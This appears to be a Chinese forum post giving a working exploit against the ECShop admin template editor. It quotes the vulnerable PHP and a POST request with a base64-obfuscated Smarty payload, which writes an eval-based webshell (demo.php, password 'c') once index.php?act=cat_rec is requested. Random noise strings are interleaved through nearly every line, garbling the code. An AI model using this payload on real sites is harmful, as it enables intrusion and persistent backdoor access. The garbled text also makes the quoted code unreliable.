首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
S" T. R* q, w2 \7 | f7 @
/ g: o; p0 r7 t) D& i而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了" T% P7 l1 l4 I. O7 d a
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码8 D, d5 g* [) z- L$ r2 q
admin/template.php
% q9 [" G+ U5 @5 o* M
+ k4 p* ~; f6 t- b" ]1 if ($_REQUEST['act'] == 'update_library')
3 K' r: C9 ]2 F- |. c/ `) [0 }; L5 m% a4 P
2 7 _6 V8 @* ]! G) N
! e" f- m+ e# F+ a) ~3 { 6 Y" y$ R% Q- \
- D5 z: I8 Z- e1 ]0 I1 z) ]6 O/ u4 check_authz_json('library_manage'); 6 _. B/ h \6 R# l7 k+ c
1 v" g2 q/ U& s- m5 r
5 6 Q9 @4 H# D9 @ \3 }+ K- X" v
% ^! |/ V6 o' e! o+ F' T4 t6 $html = stripslashes(json_str_iconv($_POST['html'])); ) ^' c6 ~, K6 }' ^
" U- ^3 N# N5 g l7 ' A. L6 y/ T, I5 y7 p+ o
2 |# S0 M+ G1 j3 w8 $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件
, ~$ l; o( l. v4 c8 ~2 g7 @+ d$ k3 D: R& r( F
9 " w9 |1 v6 d5 j3 a
/ y+ S8 @# J5 J, i% y10 $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符 ; C# ?# v6 `9 t# f1 x
0 {9 I# X* I' ^11 1 ~ R7 i! D; T( T+ ~2 o
7 C7 l1 K* Z# i1 v7 d4 K$ K9 T+ t
12 $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));
, ^- H8 f4 C3 D' [
h3 C6 \; D2 @" s7 F3 G13
2 @* {9 I! h9 v7 w, H- U/ Z) g3 O3 k+ ?0 o3 X1 F& W) E
14 if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出 9 S {3 e7 Y$ {( m% M+ d
8 K; l0 r+ Z' w% }1 y9 V# p0 h: h15 { 5 F8 D. y( f" ]# _- Y4 f/ {9 s. I( O
1 B" [0 E8 y4 d* N' Q
16 @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
" F1 x9 R* G9 S: P* n X/ h
) l4 t. P" _$ C* m" m( U9 o; f+ d17 make_json_result('', $_LANG['update_lib_success']); & _$ x4 ^- B; x! Z
! U9 w7 W( z) z7 G6 N- k18 } ; B- A( H8 {& t% A u
0 Z4 j( b% P$ ~. N7 R1 T2 v. r% _
19 else & w/ u2 f5 k W( F9 }% Z$ q1 f
( K) O% p" K; n
20 {
5 R6 o, { v- j) \# k ~
5 x% \6 u7 {1 K _( h21 make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library')); ! r6 l. u& c* V. H0 k* d: G
7 x D" W' Q' o6 \( y# \* P
22 } . S3 ~& U- v8 Y6 _( g+ {7 h
2 X" ~2 {$ d' q/ j+ n& X4 B7 n23 }
. }# ~( X9 o% r. n9 ]! v6 d; ?4 p e" Q1 c3 r
那么找个比较方便调用了模板的文件: u |% t) Q* I9 y( S m" f4 W* f1 M
index.php
2 v" f* O- X7 A
/ ?# I) q' [8 I! {) {/ @" M1 if ($act == 'cat_rec')
% f3 \; `8 S' |# U
1 S2 o8 x$ s+ p. [0 n4 q8 {2
9 l# B5 U, Z/ K: |
0 d) n3 Z* t7 e5 t% B, D3 {
3 D/ M# C- o V8 o) q( n! {
/ w' U" r6 ~% M& |6 c3 W( f; @4
4 o7 K+ t, h) s3 l! p9 o- G/ F+ ~# g( s2 N
5 $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
7 R* c; `! m7 S* K3 C, E0 p
\! b! z! G7 a( u6
* g* `, W/ ~8 N$ E6 L c/ w5 F- [& {* K
7 $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1'; 2 h% _+ e- A2 r" x; d- j* f$ K
% v. U& R# H' [; Z. \) E8
# F. b( [5 n: x1 Z+ Y8 s9 d N ]. c# |6 O& x
9 $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';
1 k6 D( s8 ^. Z- e3 U
3 L! x! ~8 i, v9 N ?7 o' v9 r3 a10
K U' {" \, Y# E5 R! @" |, D- `- @5 W4 `
11 include_once('includes/cls_json.php'); ! H5 u% s. h: l% o* l/ ~) [5 Z/ G* P
% V( z Z; ~# e; W1 t. [# H9 a
12
8 c% _( s U+ g) }, |3 `
% n9 c; X+ q9 `6 H/ k. r13 $json = new JSON;
0 w, w6 ]$ T6 a0 G3 x2 g: d+ H/ K) W+ ?
14
9 R4 ?9 \* ]) S e$ o+ t$ ^' w# F4 i/ q7 B! |
15 $result = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);
L: a4 ]- B" K3 [3 w
, G% @+ X1 _4 n7 m$ o s9 c16
: d- x- P9 B$ U S" b$ q( @/ p L7 R1 n3 ?% w9 U! v
17 $children = get_children($cat_id);
5 p1 s" ~ j6 J
4 @, c5 @; c) l' C% x- U18
* ?3 k% B9 N8 j6 v" b" ]+ W3 I( J$ F5 v9 k
19 $smarty->assign($rec_array[$rec_type] . '_goods', get_category_recommend_goods($rec_array[$rec_type], $children)); // 推荐商品
, }" ^$ U' Y( \2 j2 [% n. \; z' E; S/ h/ e; J4 v" ^ Z
20 / v0 N/ K7 Z4 @9 y# @$ [2 a, {6 k
, F& b% H# q+ g( d( j3 t B7 f7 r( W
21 $smarty->assign('cat_rec_sign', 1); 8 a4 U7 L9 E E. L% @& G3 d
- |* g: g2 Y) m+ a3 G! ?: o) I
22
7 Z0 X; U0 p' R; S8 b1 l0 j" S7 I8 z/ g" o, j1 Y9 E
23 $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
2 g1 d" W+ j6 q# Y* }- t, b. o' f0 U7 Y Z
24
/ N2 d. o; q, k) N8 S7 G0 v& p1 U( |& e: {1 E$ L6 c0 [3 a% z$ E8 `# z" @% }
25 echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';
) j2 h. o" G7 U/ }$ q& Y7 X; n+ `' L7 ?
26 3 n5 m F* o- A" A% e- y' W
( y7 {; x/ U( Y27 echo $rec_array[$rec_type]; * q) p" L5 o8 O) f% s; e! x. C7 C. @+ Z
% {$ U2 v* a. o6 m* w6 Z2 h( B# T6 P( k
28
( H6 p8 G; p# @' E2 U! {, o2 l- m% w# D/ T/ [
29 die($json->encode($result));
, B% [. [0 t' O' n4 n3 D' X/ ^ D* i2 K' x
30 + C% T0 ?. z) p+ q+ j' @. o0 C& z
1 J" G ^; X/ ^5 e
31 } ) O x$ P1 t' [4 p& @3 `2 Q3 u
8 m/ _7 d. h. b* d) B那么就有利用方法了$ ^5 c# _) ]) U! j2 y& l# b
post包到http://localhost/ec/admin/template.php?act=update_library& y2 U5 d1 r4 X% P
Post内容:
' x W* `7 r$ _% L1 k2 j% p4 S' F+ P7 b/ L" [; u5 u6 v$ f; b2 H1 u- K7 e* E
9 Y5 @" D Z' k) s: j# {- d
1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if} 7 e4 _9 x8 J$ x2 j( |( J- F! D
6 O. V+ ?1 z/ @然后访问http://localhost/ec/index.php?act=cat_rec
/ u& B% K# N8 x# Q0 l+ h# E( j% x# |$ [8 t% Z' y& k
shel地址:http://localhost/ec/demo.php
o& [6 M T: Y& M# O密码c
! g7 ~- L1 J( v5 u% K9 h0 W
2 m# c0 M7 e' W9 I* U3 d |